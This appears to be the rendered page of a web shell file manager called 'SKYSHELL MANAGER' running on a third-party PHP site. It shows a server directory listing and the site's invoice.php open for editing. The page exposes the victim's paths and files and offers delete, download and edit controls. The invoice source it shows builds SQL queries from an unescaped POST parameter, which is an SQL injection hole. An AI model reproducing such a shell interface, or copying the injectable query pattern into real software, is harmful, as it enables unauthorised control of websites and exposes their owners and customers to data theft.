📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
375.07 KB
0644
🗑️
⬇️
✏️
🔒
Editing: invoice.php
<?php include "header2.php"; ?><?php include "every.php";?> <style> .invoice-container { padding: 1rem; margin-bottom:200px; background: #121212; } .invoice-container .invoice-header .invoice-logo { margin: 0.8rem 0 0 0; display: inline-block; font-size: 1.6rem; font-weight: 700; color: #fff; } .invoice-container .invoice-header .invoice-logo img { max-width: 130px; } .invoice-container .invoice-header address { font-size: 0.8rem; color: #FF339A;; margin: 0; } .invoice-container .invoice-details { margin: 1rem 0 0 0; padding: 1rem; line-height: 180%; background: black; } .invoice-container .invoice-details .invoice-num { text-align: right; font-size: 0.8rem; } .invoice-container .invoice-body { padding: 1rem 0 0 0; } .invoice-container .invoice-footer { text-align: center; font-size: 0.7rem; margin: 5px 0 0 0; } .invoice-status { text-align: center; padding: 1rem; background: #FF339A; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; margin-bottom: 1rem; } .invoice-status h2.status { margin: 0 0 0.8rem 0; } .invoice-status h5.status-title { margin: 0 0 0.8rem 0; color: #FF339A; } .invoice-status p.status-type { margin: 0.5rem 0 0 0; padding: 0; line-height: 150%; } .invoice-status i { font-size: 1.5rem; margin: 0 0 1rem 0; display: inline-block; padding: 1rem; background: #FF339A; -webkit-border-radius: 50px; -moz-border-radius: 50px; border-radius: 50px; } .invoice-status .badge { text-transform: uppercase; } @media (max-width: 767px) { .invoice-container { padding: 1rem; } } .card { background: #121212; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; border: 0; margin-bottom: 1rem; } .custom-table { border: 1px solid #FF339A; } .custom-table thead { background: #FF339A; } .custom-table thead th { border: 1px solid #FF339A; color: #ffffff; } .custom-table > tbody tr:hover { background: #172033; } .custom-table > tbody tr:nth-of-type(even) { background-color: #121212; } .custom-table > tbody td { border: 1px solid #FF339A; } .table { background: #121212; color: #fff; font-size: .75rem; } .text-success { color: #fff !important; } .custom-actions-btns { margin: auto; display: flex; justify-content: flex-end; } .custom-actions-btns .btn { margin: .3rem 0 .3rem .3rem; } </style> <div class="container"> <div class="row gutters"> <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12"> <div class="card"> <div class="card-body p-0"> <div class="invoice-container"> <div class="invoice-header"> <!-- Row start --> <div class="row gutters"> <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12"> <div class="custom-actions-btns mb-5"> <a href="#" class="btn btn-primary" style="background-color:#FF339A; border:none; outline:none;" onclick="window.print()" > <i class="icon-download"></i> Print Invoice </a> </div> </div> </div> <!-- Row end --> <!-- Row start --> <div class="row gutters"> <div class="col-xl-6 col-lg-6 col-md-6 col-sm-6"> <a href="index.php" class="invoice-logo"> Chblogistics </a> </div> <div class="col-lg-6 col-md-6 col-sm-6"> <address class="text-right"> 19 Olowu St,Opebi 101233,Ikeja.<br> Lagos,Nigeria.<br> +234 905 744 4448 </address> </div> </div> <!-- Row end --> <!-- Row start --> <div class="row gutters"> <div class="col-xl-9 col-lg-9 col-md-12 col-sm-12 col-12"> <div class="invoice-details"> <address> <?php echo $name; ?> <?php echo $name2; ?><br> <?php echo $email; ?> </address> </div> </div> <?php include "connect_to_mysqli.php"; $ola=$_POST['ordid']; $sql = "SELECT * from history where id ='".$usid."' && parcel='$ola' ORDER BY s DESC"; $sql2 = mysqli_query($con,$sql); $i=1; while ($row = mysqli_fetch_array($sql2)) { $use=$row['parcel'] ; $dear=$row['date'] ; } ?> <div class="col-xl-3 col-lg-3 col-md-12 col-sm-12 col-12"> <div class="invoice-details"> <div class="invoice-num"> <div>Invoice -<?php echo $use; ?></div> <div><?php echo $dear; ?></div> </div> </div> </div> </div> <!-- Row end --> </div> <div class="invoice-body"> <!-- Row start --> <div class="row gutters"> <div class="col-lg-12 col-md-12 col-sm-12"> <div class="table-responsive"> <table class="table custom-table m-0"> <thead> <tr> <th >Type</th> <th>Amount</th> <th > Date</th> <th >Description</th> <th >OrderID</th> </tr> </thead> <tbody> <?php include "connect_to_mysqli.php"; $ola=$_POST['ordid']; $sql = "SELECT * from history where id ='".$usid."' && parcel='$ola' ORDER BY s ASC"; $sql2 = mysqli_query($con,$sql); $i=1; while ($row = mysqli_fetch_array($sql2)) { $rat=$row['name'] ; if ($rat=="Wallet TopUp" || $rat=="Membership Upgrade") { $raw="<div class='c' style='color:green'>Credit</div>"; } else { $raw="<div class='d' style='color:red'>Debit</div>"; } echo " <tr> <td> " . $raw. " </td> <td>" . $row['amount'] . "</td> <td>" . $row['date'] . "</td> <td>" . $row['name'] . "</</td> <td>" . $row['parcel'] . "</td> </tr> "; } ?> </tbody> </table> </div> </div> </div> <!-- Row end --> </div> <div class="invoice-footer" style="color:#FF339A;"> Thank you. </div> </div> </div> </div> </div> </div> </div> <a href="#" class="back-to-top"><i class="ri-arrow-up-line"></i></a> <div id="preloader"></div> <!-- Vendor JS Files --> <script src="assets/vendor/jquery/jquery.min.js"></script> <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/vendor/jquery.easing/jquery.easing.min.js"></script> <script src="assets/vendor/php-email-form/validate.js"></script> <script src="assets/vendor/waypoints/jquery.waypoints.min.js"></script> <script src="assets/vendor/counterup/counterup.min.js"></script> <script src="assets/vendor/venobox/venobox.min.js"></script> <script src="assets/vendor/owl.carousel/owl.carousel.min.js"></script> <script src="assets/vendor/isotope-layout/isotope.pkgd.min.js"></script> <script src="assets/vendor/aos/aos.js"></script> <!-- Template Main JS File --> <script src="assets/js/main.js"></script> </body> </html>
💾 Save Changes